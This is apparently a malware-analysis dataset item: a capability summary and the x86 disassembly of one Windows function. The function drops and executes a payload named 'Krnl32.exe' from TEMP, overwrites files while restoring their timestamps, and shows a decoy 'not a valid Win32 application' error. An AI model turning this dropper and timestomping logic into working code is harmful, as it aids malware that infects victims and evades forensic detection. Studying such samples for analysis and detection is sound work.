Function at 0x401250
Capabilities:
Copy file
Create process on windows
Delete file
Get file attributes
Get file size
Query environment variable
Read file on windows
Set file attributes
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x868
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x200
push 0x40cde0
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x40b68c
push 0x40ccdc
call fcn.004037a4
push esi
call fcn.00403410
push 5
mov dword [0x40cb94], esi
call fcn.004023b0
mov edx, dword [esp + 0x894]
add eax, 0x1e
mov dword [0x40cb90], eax
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40175a
push edx
lea eax, [esp + 0x288]
push 0x40b688
push eax
call fcn.004037a4
lea edi, [esp + 0x290]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], esi
je 0x40175a
mov ebp, dword [esp + 0x20]
mov byte [esp + 0x13], al
lea eax, [esp + 0x284]
or ebx, 0xffffffff
dec eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x2c], eax
jmp 0x40130c
mov eax, dword [esp + 0x2c]
mov cl, byte [ebx + eax + 2]
lea edi, [ebx + 2]
mov byte [esp + 0x12], cl
mov esi, 0x40b684
lea eax, [esp + 0x12]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401344
test cl, cl
je 0x401340
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401344
add eax, 2
add esi, 2
test cl, cl
jne 0x401320
xor eax, eax
jmp 0x401349
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013ab
mov al, byte [esp + ebx + 0x286]
mov byte [esp + 0x13], 0
mov byte [esp + 0x12], al
mov esi, 0x40b680
lea eax, [esp + 0x12]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40138a
test cl, cl
je 0x401386
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40138a
add eax, 2
add esi, 2
test cl, cl
jne 0x401366
xor eax, eax
jmp 0x40138f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4013ab
push ebx
push eax
lea eax, [esp + 0x28c]
push eax
call fcn.00402370
add esp, 0xc
mov ebp, eax
mov dword [esp + 0x28], edi
mov esi, 0x40b680
lea eax, [esp + 0x12]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4013d8
test cl, cl
je 0x4013d4
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4013d8
add eax, 2
add esi, 2
test cl, cl
jne 0x4013b4
xor eax, eax
jmp 0x4013dd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401733
mov al, byte [esp + ebx + 0x286]
mov byte [esp + 0x13], 0
mov byte [esp + 0x12], al
mov esi, 0x40b684
lea eax, [esp + 0x12]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401422
test cl, cl
je 0x40141e
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401422
add eax, 2
add esi, 2
test cl, cl
jne 0x4013fe
xor eax, eax
jmp 0x401427
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401733
mov eax, dword [esp + 0x28]
push ebx
inc eax
lea ecx, [esp + 0x288]
push eax
push ecx
call fcn.00402370
mov esi, eax
lea edi, [esp + 0x290]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x290]
not ecx
dec ecx
add edx, 2
push ecx
push edx
push eax
call fcn.00402370
add esp, 0x18
lea ecx, [esp + 0x7c]
mov dword [esp + 0x20], eax
push 0x104
push ecx
push str.TEMP
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
push 3
push eax
push 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
lea eax, [esp + 0x90]
push 0x80000000
push eax
call esi
mov ecx, dword [0x40b030]
push 0
mov edi, eax
push 0
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
sub eax, dword [0x40b030]
mov ebx, eax
push ebx
call fcn.00403730
add esp, 4
lea edx, [esp + 0x30]
mov dword [esp + 0x24], eax
push 0
push edx
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebp
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
test al, 1
mov dword [0x40cbb8], eax
je 0x40152c
xor eax, 1
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ebp
mov dword [esp + 0x38], 0
call esi
mov esi, eax
cmp esi, 0xffffffff
jne 0x40157e
mov eax, dword [esp + 0x1c]
inc eax
cmp eax, 0x1388
mov dword [esp + 0x1c], eax
je 0x401941
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40154d
push 0x40cb98
push 0x40cba0
push 0x40cba8
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
lea ecx, [esp + 0x30]
push 0
mov edx, dword [esp + 0x28]
push ecx
push ebx
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.DLL_SetFileTime]
push 0x40cb98
push 0x40cba0
push 0x40cba8
push esi
call ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push edi
call esi
mov eax, dword [0x40cbb8]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 5
push 0x40d004
mov ecx, dword [esp + 0x28]
push ecx
push ebp
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [0x40cbb8]
mov edi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
push edx
push 3
push 0
push 0
push 0x40000000
push ebp
mov dword [0x40cbc4], 0
mov dword [0x40cbc0], 1
call edi
cmp eax, 0xffffffff
mov dword [0x40cbb0], eax
jne 0x401695
cmp dword [0x40cbc0], 1
jne 0x401647
mov eax, dword [esp + 0x87c]
push eax
call fcn.004021d0
add esp, 4
push 1
push 0
push 0
lea ecx, [esp + 0x6c]
push 0
push ecx
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x401674
lea edx, [esp + 0x60]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
mov ecx, dword [0x40cbb8]
push 0
push ecx
push 3
push 0
push 0
push 0x40000000
push ebp
call edi
cmp eax, 0xffffffff
mov dword [0x40cbb0], eax
je 0x40162e
push eax
call esi
push 0
lea edx, [esp + 0x80]
push ebp
push edx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov eax, dword [0x40cbb8]
push 0
push eax
push 3
push 0
push 0
push 1
push ebp
call edi
push 0x40cb98
mov edi, eax
push 0x40cba0
push 0x40cba8
push edi
call ebx
push edi
call esi
lea ecx, [esp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, dword [0x40cffc]
cmp eax, 1
jne 0x401727
push 1
push 0
push 0
lea edx, [esp + 0x50]
push 0
push edx
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x401715
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [esp + 0x44]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [0x40cffc]
cmp eax, 1
je 0x4016e8
test eax, eax
je 0x401a81
mov ebx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
lea edi, [esp + 0x284]
inc edx
or ecx, 0xffffffff
xor eax, eax
inc ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], edx
cmp edx, ecx
mov dword [esp + 0x14], ebx
jb 0x401308
call fcn.004023e0
mov ebx, 1
push 0x104
cmp eax, ebx
jne 0x401984
lea edx, [esp + 0x80]
push edx
push str.TEMP
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
push 0x1869f
call fcn.004023b0
push eax
lea eax, [esp + 0x3c]
push str.TMP_d.TMP
push eax
call fcn.004037a4
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x7c]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
lea eax, [esp + 0x80]
and ecx, 3
push eax
push 0x40cde0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0
push 0
push 3
push 0
push 0
lea ecx, [esp + 0x90]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
mov ebx, eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov edx, dword [0x40b030]
push edx
call fcn.00403730
mov ecx, dword [0x40b030]
add esp, 4
mov ebp, eax
lea eax, [esp + 0x14]
push 0
push eax
push ecx
push ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
lea edx, [esp + 0x180]
push 0x104
push edx
push str.TEMP
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov edi, str.Krnl32.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x180]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 2
push 2
mov ecx, edx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x194]
push 0x40000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4018e0
mov edx, dword [0x40b030]
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea ecx, [esp + 0x14]
push 0
push ecx
push edx
push ebp
push esi
call edi
mov eax, dword [0x40b034]
push 0
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea ecx, [esp + 0x14]
push 0
push ecx
push 1
push 0x40cff8
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esp + 0x34]
lea ecx, [esp + 0x684]
mov edx, dword [esp + 0x884]
push edx
push eax
push 0x40cde0
push str._s__s__s
push ecx
call fcn.004037a4
add esp, 0x14
lea edx, [esp + 0x684]
lea eax, [esp + 0x180]
push 5
push 0x40d004
push edx
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x868
ret 0x10
mov eax, dword [esp + 0x87c]
push eax
call fcn.004021d0
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0x22
push ecx
call fcn.00403730
mov esi, eax
push ebp
push str._s_is_not_a_valid_Win32_application.
push esi
call fcn.004037a4
add esp, 0x14
push 0x10
push ebp
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4016de
lea ecx, [esp + 0x80]
push ecx
push str.TEMP
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov edi, str.Krnl32.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40cde0
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x80]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.004092c0
add esp, 8
test eax, eax
jne 0x401a4c
mov ecx, dword [esp + 0x87c]
mov dword [0x40cffc], ebx
push ecx
call fcn.004021d0
mov eax, dword [0x40cffc]
add esp, 4
cmp eax, ebx
jne 0x401a81
push ebx
push 0
push 0
lea edx, [esp + 0x50]
push 0
push edx
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x401a2d
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [esp + 0x44]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 5
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [0x40cffc], ebx
je 0x401a01
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x868
ret 0x10
lea edx, [esp + 0x7c]
push 0x40cff8
push edx
call fcn.00401e10
add esp, 8
lea eax, [esp + 0x7c]
push 5
push 0x40d004
push 0x40d004
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.00401cf0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x868
ret 0x10